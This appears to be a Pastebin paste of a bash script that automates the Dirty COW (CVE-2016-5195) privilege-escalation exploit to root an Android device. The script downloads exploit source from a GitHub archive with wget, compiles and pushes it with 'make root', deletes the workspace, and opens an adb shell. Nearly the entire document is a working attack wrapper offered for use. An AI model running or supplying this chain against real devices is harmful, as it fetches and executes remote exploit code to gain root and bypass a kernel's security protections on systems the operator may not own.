Advertisement
aat596

Dirtycow exploit bash

Nov 17th, 2020
86
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Bash 1.59 KB | None | 0 0
  1. #!/bin/bash
  2.  
  3. # Give the usual warning.
  4. clear;
  5. echo "[INFO] Automated Android root script started.\n\n[WARN] Exploit requires sdk module \"NDK\".\nFor more information, visit the installation guide @ https://goo.gl/E2nmLF\n[INFO] Press Ctrl+C to stop the script if you need to install the NDK module. Waiting 10 seconds...";
  6. sleep 10;
  7. clear;
  8.  
  9. # Download and extract exploit files.
  10. echo "[INFO] Downloading exploit files from GitHub...";
  11. workspacezip="dirtyc0w_workspace.zip";
  12. workspace="dirtyc0w_workspace";
  13. rm -f $workspacezip > /dev/null; # Remove zip if it exists
  14. rm -rf $workspace > /dev/null; # Remove workspace if it exists
  15. wget -O $workspacezip https://github.com/Arinerron/CVE-2016-5195/archive/master.zip > /dev/null 2>&1;
  16. if [ -f $workspacezip ];
  17. then
  18.     echo "[INFO] Extracting exploit files...";
  19.     unzip -a $workspacezip -d $workspace > /dev/null;
  20.     rm -f $workspacezip; # Remove zip if it exists
  21. else
  22.    echo "[ERR] Failed to download exploit files.";
  23.    exit 1;
  24. fi;
  25. if [ -d $workspace ];
  26. then
  27.     cd $workspace;
  28.     directory=$PWD; # thx @tomdeboer!
  29.     cd CVE-2016-5195-master;
  30. else
  31.     echo "[ERR] Failed to extract exploit files.";
  32.     exit 1;
  33. fi;
  34.  
  35. # Compile and send exploit.
  36. echo "[INFO] Exploiting dirtyc0w vulnerability...";
  37. sleep 1; # Let them read the message before chaos
  38. make root;
  39. clear;
  40.  
  41. # Hooray!
  42. echo -n "[INFO] Complete. Installed package \"run-as\" on device.\n[INFO] Cleaning up workspace...";
  43. rm -rf $directory; # Clean up workspace
  44. echo "Done";
  45. echo "[INFO] Starting shell in 3 seconds...";
  46. sleep 3; # Look, it worked!
  47. adb shell;
  48. clear;
  49. exit 0;
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement